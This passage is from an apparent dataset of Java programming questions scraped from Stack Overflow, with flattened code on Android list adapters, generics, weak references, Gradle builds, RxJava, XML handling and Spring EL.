Context.LAYOUT_INFLATER_SERVICE ) ; convertView = inflater.inflate ( R.layout.child_item , null ) ; holder = new ViewHolder ( ) ; final TextView idAluno = ( TextView ) convertView.findViewById ( R.id.idcrianca ) ; final TextView nomeAluno = ( TextView ) convertView.findViewById ( R.id.name ) ; convertView.setTag ( holder ) ; final View finalConvertView = convertView ; convertView.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View v ) { if ( list.size ( ) > 0 ) { isChecked = filhos.get ( posicaoEscola ) .get ( position ) .isChecked ( ) ; if ( ! isChecked ) { selecao ( true , position , nomeAluno , 0xFFFFFFFF , finalConvertView , View.VISIBLE ) ; } else { selecao ( false , position , nomeAluno , 0xFFD5672B , finalConvertView , View.GONE ) ; } ex.findViewById ( R.id.notificar ) .setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( final View v ) { limpaSelecao ( false , position , nomeAluno , 0xFFD5672B , parent , View.GONE ) ; } } ) ; } } ) ; } else { holder = ( ViewHolder ) convertView.getTag ( ) ; } holder.text.setText ( child.get ( position ) .getNome ( ) ) ; return convertView ; } static class ViewHolder { TextView text ; } public void selecao ( boolean check , int position , TextView nomeAluno , int color , View v , int visibility ) { filhos.get ( posicaoEscola ) .get ( position ) .setChecked ( check ) ; nomeAluno.setTextColor ( color ) ; v.findViewById ( R.id.overlay ) .setVisibility ( visibility ) ; v.findViewById ( R.id.overlayText ) .setVisibility ( visibility ) ; } public void limpaSelecao ( boolean check , int position , TextView nomeAluno , int color , ViewGroup v , int visibility ) { for ( int x = 0 ; x < group.size ( ) ; x++ ) { for ( int j = 0 ; j < group.get ( x ) .getalunos ( ) .size ( ) ; j++ ) { if ( filhos.get ( x ) .get ( j ) .isChecked ( ) ) { v.getChildAt ( j ) .findViewById ( R.id.loadingPanel ) .findViewById ( R.id.overlay ) .setVisibility ( View.GONE ) ; } nomeAluno.setTextColor ( color ) ; } } } } < RelativeLayout android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : orientation= '' vertical '' android : background= '' @ drawable/nomealuno_main '' android : layout_below= '' @ +id/child '' > < View android : id= '' @ +id/overlay '' android : layout_width= '' 125dp '' android : layout_height= '' 50dp '' android : background= '' @ color/bgOverlay '' android : visibility= '' gone '' / > < /RelativeLayout > public class ExpandListTest extends BaseExpandableListAdapter { public static final int CHOICE_MODE_MULTIPLE = AbsListView.CHOICE_MODE_MULTIPLE ; public static final int CHOICE_MODE_MULTIPLE_MODAL = AbsListView.CHOICE_MODE_MULTIPLE_MODAL ; /** * No child could be selected */ public static final int CHOICE_MODE_NONE = AbsListView.CHOICE_MODE_NONE ; /** * One single choice per group */ public static final int CHOICE_MODE_SINGLE_PER_GROUP = AbsListView.CHOICE_MODE_SINGLE ; /** * One single choice for all the groups */ public static final int CHOICE_MODE_SINGLE_ABSOLUTE = 10001 ; private Context context ; public static ArrayList < CadastraEscolas > groups ; private ArrayList < ArrayList < Filhos > > child = new ArrayList ( ) ; private HashMap < String , GPSEscolas > aMap = new HashMap < String , GPSEscolas > ( ) ; private HashMap < String , GPSEscolas > HashTask = new HashMap < String , GPSEscolas > ( ) ; public static ArrayList < Filhos > listchild ; private GridAdapter adapter ; private SecurePreferences Sessao ; public static CustomGridView gridView ; private SparseArray < SparseBooleanArray > checkedPositions ; private static final String LOG_TAG = ExpandListAdapter.class.getSimpleName ( ) ; public ExpandListTest ( Context context , ArrayList < CadastraEscolas > groups , HashMap < String , GPSEscolas > data , SecurePreferences mSessao , HashMap < String , GPSEscolas > hashTask ) { this.context = context ; this.groups = groups ; this.aMap = data ; this.Sessao = mSessao ; checkedPositions = new SparseArray < SparseBooleanArray > ( ) ; child = new ArrayList ( ) ; if ( groups ! = null ) { for ( int i = 0 ; i < groups.size ( ) ; i++ ) { child.add ( i , groups.get ( i ) .getalunos ( ) ) ; } } } @ Override public Object getChild ( int groupPosition , int childPosition ) { return child.get ( childPosition ) ; } @ Override public long getChildId ( int groupPosition , int childPosition ) { return childPosition ; } @ Override public View getChildView ( final int groupPosition , final int childPosition , boolean isLastChild , View convertView , final ViewGroup parent ) { if ( convertView == null ) { LayoutInflater infalInflater = ( LayoutInflater ) context .getSystemService ( context.LAYOUT_INFLATER_SERVICE ) ; convertView = infalInflater.inflate ( R.layout.gridview , null ) ; } listchild = new ArrayList < Filhos > ( ) ; for ( int j = 0 ; j < groups.get ( groupPosition ) .getalunos ( ) .size ( ) ; j++ ) { listchild.add ( child.get ( groupPosition ) .get ( j ) ) ; } gridView = ( CustomGridView ) convertView.findViewById ( R.id.GridView_toolbar ) ; gridView.setExpanded ( true ) ; adapter = new GridAdapter ( context , groups , listchild , child , groupPosition , aMap , HashTask , Sessao ) ; gridView.setAdapter ( adapter ) ; // Adapter gridView.setChoiceMode ( CustomGridView.CHOICE_MODE_MULTIPLE ) ; return convertView ; } @ Override public int getChildrenCount ( int nGroup ) { return 1 ; } @ Override public Object getGroup ( int groupPosition ) { return groups.get ( groupPosition ) ; } @ Override public int getGroupCount ( ) { return groups.size ( ) ; } @ Override public long getGroupId ( int groupPosition ) { return groupPosition ; } @ Override public View getGroupView ( int groupPosition , boolean isExpanded , View convertView , ViewGroup parent ) { CadastraEscolas group = ( CadastraEscolas ) getGroup ( groupPosition ) ; if ( convertView == null ) { LayoutInflater inf = ( LayoutInflater ) context .getSystemService ( context.LAYOUT_INFLATER_SERVICE ) ; convertView = inf.inflate ( R.layout.group_item , null ) ; } ExpandableListView mExpandableListView = ( ExpandableListView ) parent ; mExpandableListView.expandGroup ( groupPosition ) ; TextView tv = ( TextView ) convertView.findViewById ( R.id.group_name ) ; tv.setText ( group.getNome_fantasia ( ) ) ; return convertView ; } @ Override public boolean hasStableIds ( ) { return true ; } @ Override public boolean isChildSelectable ( int groupPosition , int childPosition ) { return true ; } }",Trying to deselect a view using getChildAt ( ) +Java,"There is two public interfaces : LayoutInflater.Factory and LayoutInflater.Factory2 in android sdk , but official documentation ca n't say something helpfull about this interfaces , even LayoutInflater documentation.From sources I 've understood that if Factory2 was set then it will be used and Factory otherwise : setFactory2 ( ) also have very laconic documentation : Which factory should I use If I want to set custom factory to LayoutInflater ? And what is the difference of them ?","View view ; if ( mFactory2 ! = null ) { view = mFactory2.onCreateView ( parent , name , context , attrs ) ; } else if ( mFactory ! = null ) { view = mFactory.onCreateView ( name , context , attrs ) ; } else { view = null ; } /** * Like { @ link # setFactory } , but allows you to set a { @ link Factory2 } * interface . */public void setFactory2 ( Factory2 factory ) {",What 's the difference between LayoutInflater 's Factory and Factory2 +Java,"Why is this printing hii after returning from the function go ( ) , the value has changed to `` hello '' in the finally block ? the output of the program is",public class Test2 { public static void main ( String [ ] args ) { Test2 obj=new Test2 ( ) ; String a=obj.go ( ) ; System.out.print ( a ) ; } public String go ( ) { String q= '' hii '' ; try { return q ; } finally { q= '' hello '' ; System.out.println ( `` finally value of q is `` +q ) ; } } finally value of q is hellohii,Strange finally behaviour ? +Java,"The Java Language Specification for Java 8 provides an example of a method call with a type argument in `` Example 4.11-1 . Usage of a Type '' : In that example the supplied type argument is meaningful , but apparently type arguments for method calls can also be redundant and completely meaningless , and generics need not even be involved . For example : I have a couple of questions arising : Can anyone suggest a valid reason for Java allowing these redundant type parameters ? Accepting that they do no harm , it still seems to me like something that the compiler could and should catch.That code only compiles if the method calls with type arguments are prefixed with `` this. '' . Otherwise you get `` illegal start of expression '' errors . Is that a bug ? Should n't any unambiguous method call that works with `` this . '' also work without `` this. '' ? ( The catalyst for these questions is Oracle 's response to a bug report I created for an interesting Java problem someone raised here on SO . ) UPDATE Sep 18 , 2015I raised bug JDK-8098556 for this issue with Oracle . Here is their response : This is not an issue ; method references are checked using same rules as plain methods - note that for ordinary methods you can always supply redundant type-arguments : Method ( and constructor ) references simply inherit this behavior , as per 15.13 : '' '' If the method reference expression has the form ReferenceType : : [ TypeArguments ] Identifier , the potentially applicable methods are the member methods of the type to search that have an appropriate name ( given by Identifier ) , accessibility , arity ( n or n-1 ) , and type argument arity ( derived from [ TypeArguments ] ) , as specified in §15.12.2.1 . `` Since that response confirms the information TAsk had already provided below ( including citing the relevant section of JLS ) , I have accepted that answer .","< S > void loop ( S s ) { this. < S > loop ( s ) ; // < S > is the the type argument for the method call . } void m ( ) { } void test ( ) { m ( ) ; this.m ( ) ; this. < Integer > m ( ) ; // Compiles and runs OK ! this. < String , Byte , StringBuilder , Thread [ ] , Throwable > m ( ) ; // Compiles and runs OK ! < Integer > m ( ) ; // Wo n't compile : `` illegal start of expression '' } void m ( ) { } this. < String > m ( ) ; //legal",Issues relating to type parameters in Java method calls +Java,Below is a small test I 've coded to educate myself on references API . I thought this would never throw OOME but it is throwing it . I am unable to figure out why . appreciate any help on this . } And below is the log when ran with 64MB of heap,"public static void main ( String [ ] args ) { Map < WeakReference < Long > , WeakReference < Double > > weak = new HashMap < WeakReference < Long > , WeakReference < Double > > ( 500000 , 1.0f ) ; ReferenceQueue < Long > keyRefQ = new ReferenceQueue < Long > ( ) ; ReferenceQueue < Double > valueRefQ = new ReferenceQueue < Double > ( ) ; int totalClearedKeys = 0 ; int totalClearedValues = 0 ; for ( long putCount = 0 ; putCount < = Long.MAX_VALUE ; putCount += 100000 ) { weak ( weak , keyRefQ , valueRefQ , 100000 ) ; totalClearedKeys += poll ( keyRefQ ) ; totalClearedValues += poll ( valueRefQ ) ; System.out.println ( `` Total PUTs so far = `` + putCount ) ; System.out.println ( `` Total KEYs CLEARED so far = `` + totalClearedKeys ) ; System.out.println ( `` Total VALUESs CLEARED so far = `` + totalClearedValues ) ; } } public static void weak ( Map < WeakReference < Long > , WeakReference < Double > > m , ReferenceQueue < Long > keyRefQ , ReferenceQueue < Double > valueRefQ , long limit ) { for ( long i = 1 ; i < = limit ; i++ ) { m.put ( new WeakReference < Long > ( new Long ( i ) , keyRefQ ) , new WeakReference < Double > ( new Double ( i ) , valueRefQ ) ) ; long heapFreeSize = Runtime.getRuntime ( ) .freeMemory ( ) ; if ( i % 100000 == 0 ) { System.out.println ( i ) ; System.out.println ( heapFreeSize / 131072 + `` MB '' ) ; System.out.println ( ) ; } } } private static int poll ( ReferenceQueue < ? > keyRefQ ) { Reference < ? > poll = keyRefQ.poll ( ) ; int i = 0 ; while ( poll ! = null ) { // poll.clear ( ) ; poll = keyRefQ.poll ( ) ; i++ ; } return i ; } Total PUTs so far = 0Total KEYs CLEARED so far = 77982Total VALUESs CLEARED so far = 7798010000024MBTotal PUTs so far = 100000Total KEYs CLEARED so far = 134616Total VALUESs CLEARED so far = 13461410000053MBTotal PUTs so far = 200000Total KEYs CLEARED so far = 221489Total VALUESs CLEARED so far = 221488100000157MBTotal PUTs so far = 300000Total KEYs CLEARED so far = 366966Total VALUESs CLEARED so far = 36696610000077MBTotal PUTs so far = 400000Total KEYs CLEARED so far = 366968Total VALUESs CLEARED so far = 366967100000129MBTotal PUTs so far = 500000Total KEYs CLEARED so far = 533883Total VALUESs CLEARED so far = 53388110000050MBTotal PUTs so far = 600000Total KEYs CLEARED so far = 533886Total VALUESs CLEARED so far = 5338831000006MBTotal PUTs so far = 700000Total KEYs CLEARED so far = 775763Total VALUESs CLEARED so far = 775762Exception in thread `` main '' java.lang.OutOfMemoryError : Java heap space at Referencestest.weak ( Referencestest.java:38 ) at Referencestest.main ( Referencestest.java:21 )",OutOfMemoryErrors even after using WeakReference 's for keys and values +Java,"I 'm constructing BigInt numbers that consist of two Longs each in the following way : The reason I 'm adding another 0-Byte at the front is to guarantee that the result is a positive number . Otherwise , the resulting BigInt could be negative due to two 's complement . An algorithm that is called afterwards expects numbers greater or equal than zero.So far , so good.I 'm having trouble with reversing this whole process - transforming the BigInt back to two Longs ( exactly the two values that were used as the input ) . I ca n't just do the following : Imagine the BigInt number is e.g . 3 . Then .toByteArray would result in an Array of size 1 , not 16 ( or 17 ) , and therefore the calls to getLong would cause a BufferUnderflowException.What 's the easiest way to solve this problem ? I tried several ways to manually fill up the buffer until there are 16 bytes available , but since this `` padding '' must correctly take the two 's complement of the two numbers into account , I was n't succesful .","val msb = -1L // some arbitrary long value , can be anything between Long.Min/MaxValueval lsb = 25L // a second arbitrary long value val bb = ByteBuffer .allocate ( 17 ) .put ( 0.toByte ) // 1 byte .putLong ( msb ) // 8 bytes .putLong ( lsb ) // 8 bytesval number = BigInt ( bb.array ) // in this case : 340282366920938463444927863358058659865 val arr = number.toByteArrayval bb = ByteBuffer.wrap ( arr ) val ignore = bb.getByteval msb = bb.getLongval lsb = bb.getLong",Extract Longs from ByteBuffer ( Java/Scala ) +Java,"I have a bunch of third-party Java classes that use different property names for what are essentially the same property : I 'd like to be able to address these in a canonicalized form , so that I can treat them polymorphically , and so that I can do stuff with Apache BeanUtils like : Clearly it would be trivial to write an Adapter for each class ... But I wonder is there something out there more generalized and dynamic ? Something that would take a one-to-many map of property name equivalences , and a delegate class , and produce the Adapter ?","public class Foo { public String getReferenceID ( ) ; public void setReferenceID ( String id ) ; public String getFilename ( ) ; public void setFilename ( String fileName ) ; } public class Bar { public String getRefID ( ) ; public void setRefID ( String id ) ; public String getFileName ( ) ; public void setFileName ( String fileName ) ; } PropertyUtils.copyProperties ( object1 , object2 ) ; public class CanonicalizedBar implements CanonicalizedBazBean { public String getReferenceID ( ) { return this.delegate.getRefID ( ) ; } // etc . }",Canonicalizing Java bean property names +Java,"I add three threads with different tasks and different delays to my threadpool and everything works pretty fine.Later during runtime i want to change the delay of one of these threads ( no matter which ) , the others shall work on with the old delay . I thought the ScheduledFuture references may help and tried the following code ( for example for the second thread ) , but after execution there is only one thread left in the threadpool ( Task 2 ) . So is there a possibility to change the delay of only one thread ?","static ScheduledExecutorService scheduleTaskExecutor ; static ScheduledFuture < ? > future1 ; static ScheduledFuture < ? > future2 ; static ScheduledFuture < ? > future3 ; public void onCreate ( Bundle savedInstanceState ) { scheduleTaskExecutor = Executors.newScheduledThreadPool ( 3 ) ; future1 = scheduleTaskExecutor.scheduleWithFixedDelay ( new Runnable1 ( ) { ... } , 0 , olddelay1 , TimeUnit.SECONDS ) ; // Task 1 future2 = scheduleTaskExecutor.scheduleWithFixedDelay ( new Runnable2 ( ) { ... } , 0 , olddelay2 , TimeUnit.SECONDS ) ; // Task 2 future3 = scheduleTaskExecutor.scheduleWithFixedDelay ( new Runnable3 ( ) { ... } , 0 , olddelay3 , TimeUnit.SECONDS ) ; // Task 3 } public void changeDelay2 ( int newdelay2 ) { future2.cancel ( true ) ; future2 = scheduleTaskExecutor.scheduleWithFixedDelay ( new Runnable2 ( ) { ... } , 0 , newdelay2 , TimeUnit.SECONDS ) ; // Task 2 }",Change delay of one thread in threadpool +Java,"I have some TODO tags in my Java code and would like to parameterize them , mainly with prioritiestypesdeadlines.Since I do not want to create new task tags for each combination of these aspects ( especially for each deadline ) , is there a plugin that can handle parameterized TODO tags ? E.g . it should set the task 's priority and deadline correctly for Details : I know many consider TODO comments as being bad , so you need not explain ... Parameters in the style of Remember the milk would be cool , e.g . ^dueDate or ! priority.If the eclipse plugin could warn me when the deadline is reached , that would be awesone , since I would no longer need extra tests as tickler.Maybe some review tool has a superset of the capabilities I want ? Sometimes I have a TODO that is a a result of another TODO ( i.e . when I fix the first TODO , I will have to fix the other , but it 's not really the same TODO/feature ) . So dependencies between TODOs would be helpful .",\\TODO ! 1 ^30.11.1999 # Y2kBug ...,Is there an eclipse plugin such that task tags can be parameterized ? +Java,"I have a list that I want to split in a manner similar to the ( partition sz step col ) method of Clojure or the IterableLike.sliding ( size : Int , step : Int ) function of Scala . Specifically , given a list like : I want to be able to iterate over the sub-lists like : In Clojure this would be done with : and with Scala it would be : However I do not have such a luxury and I 'm hoping to avoid having to roll my own . Guava has a partition method that comes close , but does n't offer the overlap . Googling has been fruitless as well . Does such a method exist or will I have to roll my own ?","( 1 , 2 , 3 ) ( 1 , 2 ) , ( 2 , 3 ) ( partition 2 1 ( 1 , 2 , 3 ) ) val it = Vector ( 1 , 2 , 3 ) .sliding ( 2 )",Can you replicate Clojure 's ( partition ) or Scala 's sliding ( ) functions with Guava ? +Java,"I 'm trying to insert an element node ( that has some children ) from one XML into another in java.What I 'm trying ( which is n't working ) looks like this ... I 'm getting an exception that complains that i 'm trying to use a node created by one document in another.Is there an alternative , short of recursing through doc1 's node and creating the whole thing manually in doc2 ?",Node foo = document1.getChildNodes ( ) .item ( 3 ) .cloneNode ( true ) ; document2.getChildNodes ( ) .item ( 2 ) .appendChild ( foo ) ;,how does one go about copying one xml document 's node to another ? +Java,"Suppose I have the following RxJava code ( which accesses a DB , but the exact use case is irrelevant ) : Given this code , I have the following questions : If someone unsubscribes from the observable returned from this method ( after a previous subscription ) , is that operation thread-safe ? So are my 'isUnsubscribed ( ) ' checks correct in this sense , regardless of scheduling ? Is there a cleaner way with less boilerplate code to check for unsubscribed states than what I 'm using here ? I could n't find anything in the framework . I thought SafeSubscriber solves the issue of not forwarding events when the subscriber is unsubscribed , but apparently it does not .",public Observable < List < DbPlaceDto > > getPlaceByStringId ( final List < String > stringIds ) { return Observable.create ( new Observable.OnSubscribe < List < DbPlaceDto > > ( ) { @ Override public void call ( Subscriber < ? super List < DbPlaceDto > > subscriber ) { try { Cursor c = getPlacseDb ( stringIds ) ; List < DbPlaceDto > dbPlaceDtoList = new ArrayList < > ( ) ; while ( c.moveToNext ( ) ) { dbPlaceDtoList.add ( getDbPlaceDto ( c ) ) ; } c.close ( ) ; if ( ! subscriber.isUnsubscribed ( ) ) { subscriber.onNext ( dbPlaceDtoList ) ; subscriber.onCompleted ( ) ; } } catch ( Exception e ) { if ( ! subscriber.isUnsubscribed ( ) ) { subscriber.onError ( e ) ; } } } } ) ; },Is unsubscribe thread safe in RxJava ? +Java,"I am currently in the process of developing a character generation mechanism for a Java based text game but I 've ran into a issue and can not see where I may have gone wrong . I have a `` Character '' class , which is abstract and then another class , `` NPCharacter '' which is meant build on top of this.Eclipse says that `` The type NPCharacter can not subclass the final class Character '' . Can anyone see the error here ? Thanks in advance .",public abstract class Character { public abstract void generateStats ( ) ; } public class NPCharacter extends Character { public void generateStats ( ) { } },Java abstract/extends issue +Java,Here is the code snippet that I use : Eclipse throws NoClassDefFoundError for HttpClient when I run the above code . But this functions perfectly when I use jshell with -- add-modules=jdk.incubator.httpclient . What can be done so that the code is executed via Eclipse ?,"HttpClient client = HttpClient.newHttpClient ( ) ; HttpRequest request = HttpRequest.newBuilder ( URI.create ( `` https : //www.google.com '' ) ) .GET ( ) .build ( ) ; HttpResponse.BodyHandler responseBodyHandler = HttpResponse.BodyHandler.asString ( ) ; HttpResponse response = client.send ( request , responseBodyHandler ) ; System.out.println ( `` Status code = `` + response.statusCode ( ) ) ; String body = response.body ( ) .toString ( ) ; System.out.println ( body ) ;",NoClassDefFoundError while trying to use jdk.incubator.http.HttpClient in java in Eclipse Oxygen +Java,"First , some context : I have a TreeView in my JavaFX application , with a custom TreeCell implementation . This implementation adds a HBox to display a label ( using LabeledText ) and one ( or more ) icons / status indicators to the right.The label and icons also get tooltips attached to them . When inspected with Scenic View , the result is something like this : As you can see in the image above , a cell contains a HBox with the label ( LabeledText ) , spacing region , and in this example one icon ( using a font hence the Glyph+LabeledText ) . More icons might be added using either a font or at some point maybe images.Depending on the status of the item represented , I want to style the label differently ( eg different text color , italics , ... ) . The resulting TreeView currently looks like this : Actual question : I have tried a couple of variants of my approach , but the logical solution does n't work properly even though it seems it should . Am I missing something ? Have I perhaps discovered a bug in JavaFX CSS handling ? I have a workaround which currently works ( but may cease to do so if I add certain features to my TreeView ) so I would still like to know why this does n't work as expected.Basic approachDepending on the item displayed and it 's status , apply relevant CSS classes to the TreeCell . Using CSS selectors , style the inner label . For example : The issue I have is that the CSS selection of children of a TreeCell seems not to work reliably once the user starts manipulating the TreeView in the UI . CSS gets applied to nodes which do not match the given CSS rules . For example , after expanding/collapsing some items , labels which do not match the CSS selectors get italicised anyway.So , if you look at the image above and suppose that is a correct display for my items . Collapsing/reopening the Item 1-node might result in , say Item 3 suddenly becoming italicised even though no such CSS was ever added to that node.I verified the applied classes using Scenic View to ensure I was setting/clearing classes properly : there are LabeledText nodes inside a CustomTreeCellImpl without the mystatus class that still get italicised.Alternative 1 : using pseudoclasses instead of regular classesSame issue as the basic approach aboveExample CSS : Alternative 2 : apply classes or pseudoclasses directly to LabeledText instead of TreeCellSame issue as the basic approach aboveExample CSS : Alternative 3 : directly apply CSS properties to the created label through codeAgain , this runs into the same issue as before : after manipulating the tree , styles get applied where they shouldn't.Here is the relevant part of the method that populates/updates the TreeCell : The LabeledText object never has its text changed : a new one is always created . Even then I get incorrect results.This strikes me as especially odd as this has nothing to do with CSS selectors any more - style is applied directly to the node , but the problem still persists.The workaroundFor those who are interested in how I managed to work around the problem - for now : apply classes or pseudoclasses to the entire TreeCell , and add exceptions/overrides for child elements I do not want styled to restore default layout.This mostly works but might become cumbersome if/when I add more elements to the cells . Also , I speculate this only works because here all the child elements ( aside from the label ) have the exact same style applied , regardless of the status of the item they are displaying ( eg all Glyphs are black normal font , etc ) .If/when I want to customize the style of these ( eg change Glyph color depending on context , instead of just using different Glyph characters ) , I speculate I may again run into this issue - this time with no clue how to solve it as my workaround will no longer be applicable.Update : I put a project on GitHub which demonstrates the issue.The demo data in the project is supposed to put items 1.1 and 1.3 in italics , with all others shown normal . When expanding/collapsing item 1 , items which should n't get italicised anyway ( on Windows ) .Also , when creating this example I noticed that on OS X none of the items get italicised ( the CSS itself gets loaded properly , a different style I added temporarily to test did get applied ) . On Windows , the issue as described above happens .",.mystatus > HBox > .text { -fx-font-style : italic ; } /* the following variants give mostly the same result */.mystatus > HBox > LabeledText { -fx-font-style : italic ; } .mystatus .text { /* only difference : this messes up my icons */ -fx-font-style : italic ; } *.tree-cell : mystatus > HBox > .text { -fx-font-style : italic ; } .text : mystatus { -fx-font-style : italic ; } // add labelLabeledText text = new LabeledText ( this ) ; text.setText ( `` Item 1 '' ) ; if ( someCondition ) { text.setStyle ( `` -fx-font-style : italic ; '' ) ; } hbox.getChildren ( ) .add ( text ) ;,How to style TreeCell children ? +Java,"I have searched for the tutorial to deploy Spring boot application using Gradle . I failed to find any resource that explains the process to do so.Can anyone guide me the process ? My project works like a charm when its run locally on my machine . But I would like to deploy on the Google app engine 's Flexible Java Environment . Thanks , in advance . My build.gradle looks like this","buildscript { ext { springBootVersion = ' 2.0.4.RELEASE ' jwtVersion = ' 3.4.0 ' appEngineVersion = ' 1.9.56 ' appEngineGradleToolsVersion = ' 1.3.4 ' } repositories { mavenCentral ( ) } dependencies { classpath ( `` org.springframework.boot : spring-boot-gradle-plugin : $ { springBootVersion } '' ) } } apply plugin : 'java'apply plugin : 'eclipse'apply plugin : 'idea'apply plugin : 'org.springframework.boot'apply plugin : 'io.spring.dependency-management'group = 'com.example'version = ' 0.0.1'sourceCompatibility = 1.8repositories { mavenCentral ( ) } dependencies { compile ( 'org.springframework.boot : spring-boot-starter-actuator ' ) compile ( 'org.springframework.boot : spring-boot-starter-web ' ) compile ( 'org.springframework.boot : spring-boot-starter-thymeleaf ' ) compile ( `` org.springframework.boot : spring-boot-starter-security '' ) // JPA Data ( We are going to use Repositories , Entities , Hibernate , etc ... ) compile 'org.springframework.boot : spring-boot-starter-data-jpa ' // Use MySQL Connector-J compile 'mysql : mysql-connector-java ' implementation `` com.auth0 : java-jwt : $ { jwtVersion } '' runtime ( 'org.springframework.boot : spring-boot-devtools ' ) testCompile ( 'org.springframework.boot : spring-boot-starter-test ' ) }",Deploy Spring boot gradle app in Google App Engine +Java,"I have a class with the fields `` deletionDate '' and `` experiationDate '' which could both be undefined , what would mean that the object is whether deleted nor has an expiration date . My first approach was : Having the book `` Clean Code '' in mind I remember to better use expressive names instead of comments . So my current solutions is : I could user a wrapper class around Date , but that would complicate JPA mapping.What do you think of it ? How would you express `` never '' ?",private Date deletionDate = null ; // null means not deleted private static final Date NEVER = null ; private Date deletionDate = NEVER ;,How to express `` never '' with java.util.Date ? +Java,"I want to import a third-party class org.ajoberstar.grgit.Grgit in a gradle file version.gradle . However it is giving me the error that it is unable to resolve class org.ajoberstar.grgit.Grgit ( I am using apply from : `` version.gradle '' in build.gradle ) . But if I import it in build.gradle , it works fine . Here is what I am doing : build.gradle : Here is the version.gradle file : I tried a few SO links like : How can I import one Gradle script into another ? Gradle dependencies not working ( Can not import ) How do I import a class in gradle outside of build.gradle in a apply from : fileBut I could not resolve this . Any help ?",plugins { id `` org.ajoberstar.grgit '' version `` 1.5.0 '' } apply from : `` version.gradle '' // Version of jar file.version = 1.0jar { destinationDir = file ( JAR_DIR ) from { ( configurations.runtime ) .collect { it.isDirectory ( ) ? it : zipTree ( it ) } } manifest { attributes 'Main-Class ' : 'com.awesomeness.Main ' } } jar.dependsOn versionTxt// Artifact dependecies . dependencies { compile files ( `` $ TOOLS/lib/grgit-1.5.0.jar '' ) compile files ( `` $ TOOLS/lib/groovy-all-2.4.7.jar '' ) compile files ( `` $ TOOLS/lib/org.eclipse.jgit-4.2.0.201601211800-r.jar '' ) } import org.ajoberstar.grgit.Grgit//import java.text.DateFormattask versionTxt ( ) { doLast { Grgit grgit = Grgit.open ( ) File file = new File ( `` $ buildDir/version.txt '' ) file.write ( `` '' ) file.append ( `` Version : $ version '' ) file.append ( `` Branch : `` +grgit.branch.current.trackingBranch.name ) file.append ( `` Build-Type : `` ) file.append ( `` Build-Date : `` + DateFormat.getDateInstance ( DateFormat.SHORT ) .format ( new Date ( ( long ) grgit.head ( ) .time*1000l ) ) ) file.append ( `` Commit-Id : `` + grgit.head ( ) .abbreviatedId ) } },Could not import third-party class in gradle file other than build.gradle +Java,"I 'm using Spring EL to pull values out of a rather complex set of nested maps and lists . I want to be able to use an expression likeexcept that [ 9 ] [ 'firstSubKey ' ] might be null . I ca n't figure out how to use the safe navigation correctly : I triedandand both returned some kind of parse error . I eventually got it to work by usingbut that feels tacky . Is there a better way or is this just a feature SpringEL does n't have ? I 'm using Spring 3.1.3.Relatedly , if I have a list/array of an unknown number of elements , is there a way to check for that safely ? IE if I have an array of 4 elements , I want [ 5 ] to return null . As is , it throws a SpelEvaluationException .",[ 9 ] [ 'firstSubKey ' ] [ 'secondSubKey ' ] [ 9 ] [ 'firstSubKey ' ] ? [ 'secondSubKey ' ] [ 9 ] [ 'firstSubKey ' ] ? . [ 'secondSubKey ' ] [ 9 ] [ 'firstSubKey ' ] ? .get ( 'secondSubKey ' ),Spring EL : Safe navigation with map access +Java,"Recently I just got an error in java thatEven if my class was just of 3 line of code.I was wondering why this happens , but later on i get to know there was a public class String which i had tried & created in same package.so now new question arise is what happen in this kind of situation though String is not a keyword defined in java ( you can use in your code ) Then I just deleted String.java & String.class file from the package but it sounds odd that you could not use String class as well.Question : Does java gives major priority to our custom class ?",Exception in thread `` main '' java.lang.NoSuchMethodError : main public class Test { public static void main ( String [ ] args ) { System.out.println ( `` hello '' ) ; } },String class make confusion +Java,I have a String like The test [ ] includes 4 elements : How to just generate three not empty elements using split ( ) ?,String s= '' hello.are..you '' ; String test [ ] =s.split ( `` \\ . `` ) ; helloareyou,"Java String.split ( ) , how to prevent empty element in the new array" +Java,"Perhaps I 'm overlooking a simple combination of operators ( or an inherent cancellation behavior of RxJava altogether ) . But suppose I have a hot observable selectedItem that flatmaps to an RxJava-JDBC query.How can I backpressure the flatMap ( ) operator so it will ALWAYS only execute the latest query ( and cancel any previous ) . I kind of want a backpressured flatMap operator to do something like this , where the `` X '' indicates a cancellation of the previous queryIs there a way to accomplish this ? Or can it be accomplished already and I just do not see it ?","@ Testpublic void testFlatMapBackPressure ( ) { Database db = null ; //assign db BehaviorSubject < Integer > selectedItem = BehaviorSubject.create ( ) ; //can I backpressure the queries so only the latest one is running , and any previous is cancelled ? Observable < List < Integer > > currentValues = selectedItem.flatMap ( i - > db.select ( `` SELECT VALUE FROM MY_TABLE WHERE ID = ? '' ) .parameter ( i ) .getAs ( Integer.class ) .toList ( ) ) ; }",RxJava- How to backpressure a flatmap ( ) +Java,"AtomicBoolean stores its value in : Then , for example , extracting its value is done like this : What is the reason behind it ? Why boolean was not used ?",private volatile int value ; public final boolean get ( ) { return value ! = 0 ; },Why java.util.concurrent.atomic.AtomicBoolean is internally implemented with int ? +Java,"If I have a set of enums , and want to have them all implement an interface , is this the correct way to do generically ? Enum : Interface : Holding Class ( where my suspcions lie that this is not quite right ) : The issue comes in my T t which will obviously give a NPE as I do n't instantiate my inferred type . The issue is that I ca n't , as it 's an enum.What 's the Java way of saying 'Use this interface to access an enum method generically. ' ? Throwing in skills.put ( T.fromValue ( skillString ) , 0 ) ; does n't work , which was my next guess.I 've looked over the tutorials ( which is how I 've gotten this far ) and I could n't seem to see how to get any further . How do I get this code to work ?","public enum MentalSkill implements SkillType { ACADEMICS , COMPUTER , CRAFTS , INVESTIGATION , MEDICINE , OCCULT , POLITICS , SCIENCE ; private static final int UNTRAINED_PENALTY = -3 ; @ Override public SkillType fromValue ( String value ) { return valueOf ( value ) ; } @ Override public int getUntrainedPenalty ( ) { return UNTRAINED_PENALTY ; } } public interface SkillType { SkillType fromValue ( String value ) ; int getUntrainedPenalty ( ) ; } public class SkillsSet < T extends SkillType > { T t ; Map < T , Integer > skills = new HashMap < > ( ) ; public SkillsSet ( String [ ] skills ) { for ( String string : skills ) { addSkill ( string , t.getUntrainedPenalty ( ) ) ; } } private void addSkill ( String skillString , Integer value ) { skills.put ( ( T ) t.fromValue ( skillString ) , 0 ) ; } }",Enums with interface - how to do so generically ? +Java,I am trying to parse the date using LocalDateTime.parse the method however I am getting below error . the date string is getting parse if I use SimpleDateFormat simple date format object . Has anyone faced this issue ! What 's the difference between parse from DateFormat and LocalDateTimeOUTPUT,"package com.example.demo ; import java.text.DateFormat ; import 